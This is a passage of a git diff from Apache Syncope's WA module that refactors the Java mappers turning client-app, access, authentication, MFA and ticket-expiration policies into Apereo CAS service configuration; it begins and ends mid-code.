GoogleAuthenticatorToken get(final String username, final Integer otp) { try { - GoogleMfaAuthToken tokenTO = service().read(username, otp); + GoogleMfaAuthToken tokenTO = waRestClient.getService(GoogleMfaAuthTokenService.class).read(username, otp); GoogleAuthenticatorToken token = new GoogleAuthenticatorToken(tokenTO.getOtp(), username); token.setIssuedDateTime(tokenTO.getIssueDate()); return token; @@ -73,31 +70,31 @@ public GoogleAuthenticatorToken get(final String username, final Integer otp) { @Override public void remove(final String username, final Integer otp) { - service().delete(username, otp); + waRestClient.getService(GoogleMfaAuthTokenService.class).delete(username, otp); } @Override public void remove(final String username) { - service().delete(username); + waRestClient.getService(GoogleMfaAuthTokenService.class).delete(username); } @Override public void remove(final Integer otp) { - service().delete(otp); + waRestClient.getService(GoogleMfaAuthTokenService.class).delete(otp); } @Override public void removeAll() { - service().delete((LocalDateTime) null); + waRestClient.getService(GoogleMfaAuthTokenService.class).delete((LocalDateTime) null); } @Override public long count(final String username) { - return service().read(username).getTotalCount(); + return waRestClient.getService(GoogleMfaAuthTokenService.class).read(username).getTotalCount(); } @Override public long count() { - return service().list().getTotalCount(); + return waRestClient.getService(GoogleMfaAuthTokenService.class).list().getTotalCount(); } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AbstractClientAppMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AbstractClientAppMapper.java index f9a9685c167..4f477947169 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AbstractClientAppMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AbstractClientAppMapper.java @@ -19,23 +19,37 @@ package org.apache.syncope.wa.starter.mapping; import java.util.Map; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.to.ClientAppTO; import org.apereo.cas.services.BaseWebBasedRegisteredService; +import org.apereo.cas.services.CasRegisteredService; import org.apereo.cas.services.DefaultRegisteredServiceProperty; import org.apereo.cas.services.RegisteredServiceAccessStrategy; import org.apereo.cas.services.RegisteredServiceAttributeReleasePolicy; import org.apereo.cas.services.RegisteredServiceAuthenticationPolicy; +import org.apereo.cas.services.RegisteredServiceLogoutType; import org.apereo.cas.services.RegisteredServiceMultifactorPolicy; import org.apereo.cas.services.RegisteredServiceProperty; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; abstract class AbstractClientAppMapper implements ClientAppMapper { protected void setCommon(final BaseWebBasedRegisteredService service, final ClientAppTO clientApp) { service.setId(clientApp.getClientAppId()); + service.setEvaluationOrder(clientApp.getEvaluationOrder()); service.setName(clientApp.getName()); service.setDescription(clientApp.getDescription()); + service.setLogo(clientApp.getLogo()); + service.setTheme(clientApp.getTheme()); + service.setInformationUrl(clientApp.getInformationUrl()); + service.setPrivacyUrl(clientApp.getPrivacyUrl()); + Optional.ofNullable(clientApp.getUsernameAttributeProviderConf()). + ifPresent(conf -> conf.map(new DefaultUsernameAttributeProviderConfMapper(service))); if (!clientApp.getProperties().isEmpty()) { Map properties = clientApp.getProperties().stream(). @@ -45,6 +59,8 @@ protected void setCommon(final BaseWebBasedRegisteredService service, final Clie (existing, replacement) -> existing)); service.setProperties(properties); } + + service.setLogoutType(RegisteredServiceLogoutType.valueOf(clientApp.getLogoutType().name())); } protected void setPolicies( @@ -52,19 +68,33 @@ protected void setPolicies( final RegisteredServiceAuthenticationPolicy authPolicy, final RegisteredServiceMultifactorPolicy mfaPolicy, final RegisteredServiceAccessStrategy accessStrategy, - final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy) { + final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy, + final RegisteredServiceTicketGrantingTicketExpirationPolicy tgtExpirationPolicy, + final RegisteredServiceServiceTicketExpirationPolicy stExpirationPolicy, + final RegisteredServiceProxyGrantingTicketExpirationPolicy tgtProxyExpirationPolicy, + final RegisteredServiceProxyTicketExpirationPolicy stProxyExpirationPolicy) { - if (authPolicy != null) { - service.setAuthenticationPolicy(authPolicy); - } - if (mfaPolicy != null) { - service.setMultifactorAuthenticationPolicy(mfaPolicy); - } - if (accessStrategy != null) { - service.setAccessStrategy(accessStrategy); - } - if (attributeReleasePolicy != null) { - service.setAttributeReleasePolicy(attributeReleasePolicy); + Optional.ofNullable(authPolicy).ifPresent(service::setAuthenticationPolicy); + + Optional.ofNullable(mfaPolicy).ifPresent(service::setMultifactorAuthenticationPolicy); + + Optional.ofNullable(accessStrategy).ifPresent(service::setAccessStrategy); + + Optional.ofNullable(attributeReleasePolicy).ifPresent(service::setAttributeReleasePolicy); + + Optional.ofNullable(tgtExpirationPolicy).ifPresent(service::setTicketGrantingTicketExpirationPolicy); + + if (service instanceof CasRegisteredService) { + CasRegisteredService casRegisteredService = (CasRegisteredService) service; + + Optional.ofNullable(stExpirationPolicy). + ifPresent(casRegisteredService::setServiceTicketExpirationPolicy); + + Optional.ofNullable(tgtProxyExpirationPolicy). + ifPresent(casRegisteredService::setProxyGrantingTicketExpirationPolicy); + + Optional.ofNullable(stProxyExpirationPolicy). + ifPresent(casRegisteredService::setProxyTicketExpirationPolicy); } } } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AccessMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AccessMapper.java index b6240cfc095..e5878a96e64 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AccessMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AccessMapper.java @@ -18,11 +18,13 @@ */ package org.apache.syncope.wa.starter.mapping; +import org.apache.syncope.common.lib.policy.AccessPolicyConf; import org.apache.syncope.common.lib.policy.AccessPolicyTO; import org.apereo.cas.services.RegisteredServiceAccessStrategy; -@FunctionalInterface public interface AccessMapper { + boolean supports(AccessPolicyConf conf); + RegisteredServiceAccessStrategy build(AccessPolicyTO policy); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AttrReleaseMapFor.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AttrReleaseMapFor.java deleted file mode 100644 index f28390dce83..00000000000 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AttrReleaseMapFor.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.wa.starter.mapping; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import org.apache.syncope.common.lib.policy.AttrReleasePolicyConf; - -@Target({ ElementType.TYPE }) -@Retention(RetentionPolicy.RUNTIME) -public @interface AttrReleaseMapFor { - - Class attrReleasePolicyConfClass(); -} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapFor.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapFor.java deleted file mode 100644 index f5fb5e4a062..00000000000 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapFor.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.wa.starter.mapping; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import org.apache.syncope.common.lib.policy.AuthPolicyConf; - -@Target({ ElementType.TYPE }) -@Retention(RetentionPolicy.RUNTIME) -public @interface AuthMapFor { - - Class authPolicyConfClass(); -} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapper.java index 7c0c1ab62df..72ced91d01f 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapper.java @@ -19,19 +19,21 @@ package org.apache.syncope.wa.starter.mapping; import java.util.List; +import org.apache.syncope.common.lib.policy.AuthPolicyConf; import org.apache.syncope.common.lib.policy.AuthPolicyTO; import org.apache.syncope.common.lib.to.AuthModuleTO; import org.apereo.cas.authentication.AuthenticationEventExecutionPlan; +import org.apereo.cas.authentication.MultifactorAuthenticationProvider; import org.springframework.beans.factory.ObjectProvider; -import org.springframework.context.ConfigurableApplicationContext; -@FunctionalInterface public interface AuthMapper { + boolean supports(AuthPolicyConf conf); + AuthMapperResult build( - ConfigurableApplicationContext ctx, String pac4jCoreName, ObjectProvider authenticationEventExecutionPlan, + List multifactorAuthenticationProviders, AuthPolicyTO policy, List authModules); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapperResult.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapperResult.java index cdb2440537c..018d1a6edaf 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapperResult.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/AuthMapperResult.java @@ -24,6 +24,8 @@ public class AuthMapperResult { + public static final AuthMapperResult EMPTY = new AuthMapperResult(null, null, null); + private final RegisteredServiceAuthenticationPolicy authPolicy; private final RegisteredServiceMultifactorPolicy mfaPolicy; diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/CASSPClientAppTOMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/CASSPClientAppTOMapper.java index 5d007d2a059..02f3fd505ff 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/CASSPClientAppTOMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/CASSPClientAppTOMapper.java @@ -19,6 +19,7 @@ package org.apache.syncope.wa.starter.mapping; import org.apache.syncope.common.lib.to.CASSPClientAppTO; +import org.apache.syncope.common.lib.to.ClientAppTO; import org.apache.syncope.common.lib.wa.WAClientApp; import org.apereo.cas.services.CasRegisteredService; import org.apereo.cas.services.RegisteredService; @@ -26,19 +27,29 @@ import org.apereo.cas.services.RegisteredServiceAttributeReleasePolicy; import org.apereo.cas.services.RegisteredServiceAuthenticationPolicy; import org.apereo.cas.services.RegisteredServiceMultifactorPolicy; -import org.springframework.context.ConfigurableApplicationContext; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; -@ClientAppMapFor(clientAppClass = CASSPClientAppTO.class) public class CASSPClientAppTOMapper extends AbstractClientAppMapper { + @Override + public boolean supports(final ClientAppTO clientApp) { + return CASSPClientAppTO.class.equals(clientApp.getClass()); + } + @Override public RegisteredService map( - final ConfigurableApplicationContext ctx, final WAClientApp clientApp, final RegisteredServiceAuthenticationPolicy authPolicy, final RegisteredServiceMultifactorPolicy mfaPolicy, final RegisteredServiceAccessStrategy accessStrategy, - final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy) { + final RegisteredServiceAttributeReleasePolicy attributeReleasePolicy, + final RegisteredServiceTicketGrantingTicketExpirationPolicy tgtExpirationPolicy, + final RegisteredServiceServiceTicketExpirationPolicy stExpirationPolicy, + final RegisteredServiceProxyGrantingTicketExpirationPolicy tgtProxyExpirationPolicy, + final RegisteredServiceProxyTicketExpirationPolicy stProxyExpirationPolicy) { CASSPClientAppTO cas = CASSPClientAppTO.class.cast(clientApp.getClientAppTO()); @@ -46,7 +57,8 @@ public RegisteredService map( service.setServiceId(cas.getServiceId()); setCommon(service, cas); - setPolicies(service, authPolicy, mfaPolicy, accessStrategy, attributeReleasePolicy); + setPolicies(service, authPolicy, mfaPolicy, accessStrategy, attributeReleasePolicy, + tgtExpirationPolicy, stExpirationPolicy, tgtProxyExpirationPolicy, stProxyExpirationPolicy); return service; } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/ClientAppMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/ClientAppMapper.java index dfd9c798d45..79cf79a6de2 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/ClientAppMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/ClientAppMapper.java @@ -18,22 +18,30 @@ */ package org.apache.syncope.wa.starter.mapping; +import org.apache.syncope.common.lib.to.ClientAppTO; import org.apache.syncope.common.lib.wa.WAClientApp; import org.apereo.cas.services.RegisteredService; import org.apereo.cas.services.RegisteredServiceAccessStrategy; import org.apereo.cas.services.RegisteredServiceAttributeReleasePolicy; import org.apereo.cas.services.RegisteredServiceAuthenticationPolicy; import org.apereo.cas.services.RegisteredServiceMultifactorPolicy; -import org.springframework.context.ConfigurableApplicationContext; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; -@FunctionalInterface public interface ClientAppMapper { + boolean supports(ClientAppTO clientApp); + RegisteredService map( - ConfigurableApplicationContext ctx, WAClientApp clientApp, RegisteredServiceAuthenticationPolicy authPolicy, RegisteredServiceMultifactorPolicy mfaPolicy, RegisteredServiceAccessStrategy accessStrategy, - RegisteredServiceAttributeReleasePolicy attributeReleasePolicy); + RegisteredServiceAttributeReleasePolicy attributeReleasePolicy, + RegisteredServiceTicketGrantingTicketExpirationPolicy tgtExpirationPolicy, + RegisteredServiceServiceTicketExpirationPolicy stExpirationPolicy, + RegisteredServiceProxyGrantingTicketExpirationPolicy tgtProxyExpirationPolicy, + RegisteredServiceProxyTicketExpirationPolicy stProxyExpirationPolicy); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAccessMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAccessMapper.java index 6c24e5eb033..23304070099 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAccessMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAccessMapper.java @@ -18,33 +18,44 @@ */ package org.apache.syncope.wa.starter.mapping; -import java.util.HashSet; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.common.lib.policy.AccessPolicyConf; import org.apache.syncope.common.lib.policy.AccessPolicyTO; import org.apache.syncope.common.lib.policy.DefaultAccessPolicyConf; import org.apereo.cas.services.DefaultRegisteredServiceAccessStrategy; import org.apereo.cas.services.RegisteredServiceAccessStrategy; -@AccessMapFor(accessPolicyConfClass = DefaultAccessPolicyConf.class) public class DefaultAccessMapper implements AccessMapper { + @Override + public boolean supports(final AccessPolicyConf conf) { + return DefaultAccessPolicyConf.class.equals(conf.getClass()); + } + @Override public RegisteredServiceAccessStrategy build(final AccessPolicyTO policy) { + DefaultAccessPolicyConf conf = (DefaultAccessPolicyConf) policy.getConf(); + DefaultRegisteredServiceAccessStrategy accessStrategy = - new DefaultRegisteredServiceAccessStrategy(policy.isEnabled(), policy.isSsoEnabled()); + new DefaultRegisteredServiceAccessStrategy(conf.isEnabled(), conf.isSsoEnabled()); - accessStrategy.setOrder(policy.getOrder()); + accessStrategy.setOrder(conf.getOrder()); - accessStrategy.setRequireAllAttributes(policy.isRequireAllAttributes()); + accessStrategy.setRequireAllAttributes(conf.isRequireAllAttributes()); - accessStrategy.setCaseInsensitive(policy.isCaseInsensitive()); + accessStrategy.setCaseInsensitive(conf.isCaseInsensitive()); - accessStrategy.setUnauthorizedRedirectUrl(policy.getUnauthorizedRedirectUrl()); + accessStrategy.setUnauthorizedRedirectUrl(conf.getUnauthorizedRedirectUrl()); - policy.getConf().getRequiredAttrs().forEach( - attr -> accessStrategy.getRequiredAttributes().put(attr.getSchema(), new HashSet<>(attr.getValues()))); + conf.getRequiredAttrs().forEach( + (k, v) -> accessStrategy.getRequiredAttributes().put(k, + Stream.of(StringUtils.split(v, ",")).map(String::trim).collect(Collectors.toSet()))); - policy.getConf().getRejectedAttrs().forEach( - attr -> accessStrategy.getRejectedAttributes().put(attr.getSchema(), new HashSet<>(attr.getValues()))); + conf.getRejectedAttrs().forEach( + (k, v) -> accessStrategy.getRejectedAttributes().put(k, + Stream.of(StringUtils.split(v, ",")).map(String::trim).collect(Collectors.toSet()))); return accessStrategy; } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAuthMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAuthMapper.java index 98bc4535016..20ee69a4e10 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAuthMapper.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAuthMapper.java @@ -23,9 +23,11 @@ import java.util.Optional; import java.util.Set; import java.util.stream.Collectors; +import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.auth.MFAAuthModuleConf; import org.apache.syncope.common.lib.auth.Pac4jAuthModuleConf; +import org.apache.syncope.common.lib.policy.AuthPolicyConf; import org.apache.syncope.common.lib.policy.AuthPolicyTO; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; import org.apache.syncope.common.lib.to.AuthModuleTO; @@ -37,21 +39,32 @@ import org.apereo.cas.services.DefaultRegisteredServiceAuthenticationPolicy; import org.apereo.cas.services.DefaultRegisteredServiceDelegatedAuthenticationPolicy; import org.apereo.cas.services.DefaultRegisteredServiceMultifactorPolicy; +import org.apereo.cas.services.RegisteredServiceAuthenticationPolicyCriteria; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.ObjectProvider; -import org.springframework.context.ConfigurableApplicationContext; -@AuthMapFor(authPolicyConfClass = DefaultAuthPolicyConf.class) public class DefaultAuthMapper implements AuthMapper { protected static final Logger LOG = LoggerFactory.getLogger(DefaultAuthMapper.class); + @Override + public boolean supports(final AuthPolicyConf conf) { + return DefaultAuthPolicyConf.class.equals(conf.getClass()); + } + + protected RegisteredServiceAuthenticationPolicyCriteria buildCriteria(final DefaultAuthPolicyConf policyConf) { + AnyAuthenticationHandlerRegisteredServiceAuthenticationPolicyCriteria criteria = + new AnyAuthenticationHandlerRegisteredServiceAuthenticationPolicyCriteria(); + criteria.setTryAll(policyConf.isTryAll()); + return criteria; + } + @Override public AuthMapperResult build( - final ConfigurableApplicationContext ctx, final String pac4jCoreName, final ObjectProvider authEventExecPlan, + final List multifactorAuthenticationProviders, final AuthPolicyTO policy, final List authModules) { @@ -61,8 +74,9 @@ public AuthMapperResult build( Set> delegatedAuthHandlers = new HashSet<>(); DefaultAuthPolicyConf policyConf = (DefaultAuthPolicyConf) policy.getConf(); - if (!policyConf.getAuthModules().isEmpty()) { - Set authHandlers = new HashSet<>(policyConf.getAuthModules()); + Set authHandlers = authModules.stream().map(AuthModuleTO::getKey). + collect(Collectors.toCollection(HashSet::new)); + if (!authHandlers.isEmpty()) { mfaAuthHandlers.addAll(authEventExecPlan.getObject().getAuthenticationHandlers().stream(). filter(MultifactorAuthenticationHandler.class::isInstance). filter(mfaAuthHander -> policyConf.getAuthModules().contains(mfaAuthHander.getName())). @@ -84,10 +98,7 @@ public AuthMapperResult build( authPolicy.setRequiredAuthenticationHandlers(authHandlers); } - AnyAuthenticationHandlerRegisteredServiceAuthenticationPolicyCriteria criteria = - new AnyAuthenticationHandlerRegisteredServiceAuthenticationPolicyCriteria(); - criteria.setTryAll(policyConf.isTryAll()); - authPolicy.setCriteria(criteria); + authPolicy.setCriteria(buildCriteria(policyConf)); DefaultRegisteredServiceMultifactorPolicy mfaPolicy = null; if (!mfaAuthHandlers.isEmpty()) { @@ -99,14 +110,22 @@ public AuthMapperResult build( map(am -> ((MFAAuthModuleConf) am.getConf()).getFriendlyName()). collect(Collectors.toSet()); - Set mfaProviders = ctx.getBeansOfType(MultifactorAuthenticationProvider.class).values().stream(). + Set mfaProviders = multifactorAuthenticationProviders.stream(). filter(map -> fns.contains(map.getFriendlyName())). map(MultifactorAuthenticationProvider::getId). collect(Collectors.toSet()); mfaPolicy = new DefaultRegisteredServiceMultifactorPolicy(); - mfaPolicy.setBypassEnabled(false); - mfaPolicy.setForceExecution(true); + + if (StringUtils.isNotBlank(policyConf.getBypassPrincipalAttributeName()) + && StringUtils.isNotBlank(policyConf.getBypassPrincipalAttributeValue())) { + mfaPolicy.setBypassPrincipalAttributeName(policyConf.getBypassPrincipalAttributeName()); + mfaPolicy.setBypassPrincipalAttributeValue(policyConf.getBypassPrincipalAttributeValue()); + } else { + mfaPolicy.setBypassEnabled(policyConf.isBypassEnabled()); + } + + mfaPolicy.setForceExecution(policyConf.isForceMfaExecution()); mfaPolicy.setMultifactorAuthenticationProviders(mfaProviders); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultTicketExpirationMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultTicketExpirationMapper.java new file mode 100644 index 00000000000..80f1aedafd9 --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultTicketExpirationMapper.java @@ -0,0 +1,97 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.mapping; + +import java.util.Optional; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyConf; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; +import org.apereo.cas.services.DefaultRegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.DefaultRegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.DefaultRegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.DefaultRegisteredServiceTicketGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyGrantingTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceProxyTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceServiceTicketExpirationPolicy; +import org.apereo.cas.services.RegisteredServiceTicketGrantingTicketExpirationPolicy; + +public class DefaultTicketExpirationMapper implements TicketExpirationMapper { + + @Override + public boolean supports(final TicketExpirationPolicyConf conf) { + return DefaultTicketExpirationPolicyConf.class.equals(conf.getClass()); + } + + protected Optional conf(final TicketExpirationPolicyTO policy) { + if (policy.getConf() instanceof DefaultTicketExpirationPolicyConf) { + return Optional.of((DefaultTicketExpirationPolicyConf) policy.getConf()); + } + return Optional.empty(); + } + + @Override + public RegisteredServiceTicketGrantingTicketExpirationPolicy buildTGT(final TicketExpirationPolicyTO policy) { + return conf(policy).flatMap(conf -> Optional.ofNullable(conf.getTgtConf())). + map(conf -> { + DefaultRegisteredServiceTicketGrantingTicketExpirationPolicy result = + new DefaultRegisteredServiceTicketGrantingTicketExpirationPolicy(); + result.setMaxTimeToLiveInSeconds(conf.getMaxTimeToLiveInSeconds()); + return result; + }). + orElse(null); + } + + @Override + public RegisteredServiceServiceTicketExpirationPolicy buildST(final TicketExpirationPolicyTO policy) { + return conf(policy).flatMap(conf -> Optional.ofNullable(conf.getStConf())). + map(conf -> { + DefaultRegisteredServiceServiceTicketExpirationPolicy result = + new DefaultRegisteredServiceServiceTicketExpirationPolicy(); + result.setNumberOfUses(conf.getNumberOfUses()); + result.setTimeToLive(Long.toString(conf.getMaxTimeToLiveInSeconds())); + return result; + }). + orElse(null); + } + + @Override + public RegisteredServiceProxyGrantingTicketExpirationPolicy buildProxyTGT(final TicketExpirationPolicyTO policy) { + return conf(policy).flatMap(conf -> Optional.ofNullable(conf.getProxyTgtConf())). + map(conf -> { + DefaultRegisteredServiceProxyGrantingTicketExpirationPolicy result = + new DefaultRegisteredServiceProxyGrantingTicketExpirationPolicy(); + result.setMaxTimeToLiveInSeconds(conf.getMaxTimeToLiveInSeconds()); + return result; + }). + orElse(null); + } + + @Override + public RegisteredServiceProxyTicketExpirationPolicy buildProxyST(final TicketExpirationPolicyTO policy) { + return conf(policy).flatMap(conf -> Optional.ofNullable(conf.getProxyStConf())). + map(conf -> { + DefaultRegisteredServiceProxyTicketExpirationPolicy result = + new DefaultRegisteredServiceProxyTicketExpirationPolicy(); + result.setNumberOfUses(conf.getNumberOfUses()); + result.setTimeToLive(Long.toString(conf.getMaxTimeToLiveInSeconds())); + return result; + }). + orElse(null); + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultUsernameAttributeProviderConfMapper.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultUsernameAttributeProviderConfMapper.java new file mode 100644 index 00000000000..be2e454cefc --- /dev/null +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultUsernameAttributeProviderConfMapper.java @@ -0,0 +1,108 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.wa.starter.mapping; + +import java.util.Optional; +import org.apache.syncope.common.lib.clientapps.AnonymousUsernameAttributeProviderConf; +import org.apache.syncope.common.lib.clientapps.DefaultUsernameAttributeProviderConf; +import org.apache.syncope.common.lib.clientapps.GroovyUsernameAttributeProviderConf; +import org.apache.syncope.common.lib.clientapps.PairwiseOidcUsernameAttributeProviderConf; +import org.apache.syncope.common.lib.clientapps.PrincipalAttributeUsernameAttributeProviderConf; +import org.apache.syncope.common.lib.clientapps.UsernameAttributeProviderConf; +import org.apache.syncope.common.lib.types.PersistentIdGenerator; +import org.apereo.cas.authentication.principal.OidcPairwisePersistentIdGenerator; +import org.apereo.cas.authentication.principal.ShibbolethCompatiblePersistentIdGenerator; +import org.apereo.cas.services.AnonymousRegisteredServiceUsernameAttributeProvider; +import org.apereo.cas.services.BaseWebBasedRegisteredService; +import org.apereo.cas.services.DefaultRegisteredServiceUsernameProvider; +import org.apereo.cas.services.GroovyRegisteredServiceUsernameProvider; +import org.apereo.cas.services.PairwiseOidcRegisteredServiceUsernameAttributeProvider; +import org.apereo.cas.services.PrincipalAttributeRegisteredServiceUsernameProvider; +import org.apereo.cas.util.RandomUtils; + +public class DefaultUsernameAttributeProviderConfMapper implements UsernameAttributeProviderConf.Mapper { + + protected static Optional toPersistentIdGenerator( + final PersistentIdGenerator persistentIdGenerator) { + + if (persistentIdGenerator == null) { + return Optional.empty(); + } + + org.apereo.cas.authentication.principal.PersistentIdGenerator result = null; + switch (persistentIdGenerator) { + case SHIBBOLETH: + result = new ShibbolethCompatiblePersistentIdGenerator(RandomUtils.randomAlphanumeric(16)); + break; + + case OIDC: + result = new OidcPairwisePersistentIdGenerator(); + break; + + default: + } + + return Optional.ofNullable(result); + } + + protected final BaseWebBasedRegisteredService service; + + public DefaultUsernameAttributeProviderConfMapper(final BaseWebBasedRegisteredService service) { + this.service = service; + } + + @Override + public void map(final AnonymousUsernameAttributeProviderConf conf) { + AnonymousRegisteredServiceUsernameAttributeProvider provider = + new AnonymousRegisteredServiceUsernameAttributeProvider(); + toPersistentIdGenerator(conf.getPersistentIdGenerator()).ifPresent(provider::setPersistentIdGenerator); + provider.setCanonicalizationMode(conf.getCaseCanonicalizationMode().name()); + service.setUsernameAttributeProvider(provider); + } + + @Override + public void map(final DefaultUsernameAttributeProviderConf conf) { + service.setUsernameAttributeProvider( + new 